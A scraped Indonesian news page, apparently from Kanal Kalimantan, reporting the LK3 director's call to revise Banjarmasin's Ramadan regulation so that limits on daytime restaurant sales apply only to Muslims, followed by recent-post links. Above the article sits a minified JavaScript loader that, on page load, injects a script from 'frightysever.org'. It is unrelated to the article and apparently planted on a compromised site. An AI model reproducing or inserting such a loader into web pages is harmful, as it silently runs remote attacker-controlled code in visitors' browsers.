(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Masyarakat Banjarmasin Itu Beragam, Dirut LK3 : Saatnya Perda Ramadhan Direvisi


BANJARMASIN, Tak terhitung sudah berapa rumah makan yang buka saat siang hari di bulan puasa ditertibkan Satpol PP , mengingat Peraturan Daerah (Perda) Kota Banjarmasin mewajibkan seluruh rumah makan tidak berjualan hingga jam yang ditentukan.

Meski begitu, masih banyak rumah makan yang ‘melawan’ dan tetap memilih untuk tetap melayani pembeli.

Melihat hal ini, Rafiqah, Direktur Lembaga Kajian Keislaman dan Kemasyarakatan (LK3) berharap jika perda Perda nomor 4 tahun 2005 dimana pemerintah kota membatasi durasi penjualan makanan minuman saat Ramadhan agar direvisi.

“Kalau bicara Perda Ramadhan, dari satu sisi menyayangkan kalau Perda ini masih berlaku. Apalagi Perda berlaku untuk semua. Padahal kota Banjarmasin itu komunitas dan masyarakatnya beragam,” ungkapnya.
Rafiqah sangat ingin jika Perda Ramadhan direvisi misalnya hanya berlaku untuk yang muslim dan tidak berlaku untuk yang non muslim. Sebab menurutnya masyarakat Banjarmasin sendiri sudah cukup dewasa dalam beragama. Serta sudah cukup mengerti bagaimana menyikapi umat Islam yang sedang berpuasa.

“Saya pikir kawan-kawan non muslim tidak begitu vulgar untuk makan dan minum di depan orang banyak. Jadi sebenarnya kedewaasaan beragama sudah tercermin di dalam masyarakat,” ungkapnya.
Ihwal Perda Ramadan yang telah diterapkan saat ini, saat terjadi razia rumah makan, alhasil petugas merazia keseluruhan rumah makan yang ada. “Padahal bisa bercermin dari Perda yang ada di HST kalau tidak salah, itu direvisi, yang berlaku untuk yang muslim saja. Sehingga ada kejelasan dari Perda yang ada. Bila ada penertiban oleh petugas, tidak serta merta untuk semua,” jelasnya.
Ke depannya ia sangat berharap bisa memberikan pemahaman ketika regulator pembuat kebijakan yang agak sensitif soal agama. Diharapkan agar para pembuat regulasi bisa mempertimbangkan banyak hal dan ridak melihat hanya dari satu sisi komunitas atau agama tertentu saja. “Perda kan untuk masyarakat kota. Masyaakat kota kan beragam,” imbuhnya.
Ia memberikan contoh ketika pemerintah kota Banjarmasin berbicara menuju kota inklusi. Inklusi di sini tidak hanya untuk disabilitas, tapi bagaimana inklusi juga melihat hak-hak dari kelompok-kelompok diskriminatif lainnya. Terutama jika berbicara hak warga negara. Jadi saat berbicara perda, tentu juga harus melihat semua sisi termasuk HAM. (mario)

Reporter:mario
Editor:bie

Desy Arfianty

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

5 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

5 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

6 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

6 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

8 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

8 jam ago

This website uses cookies.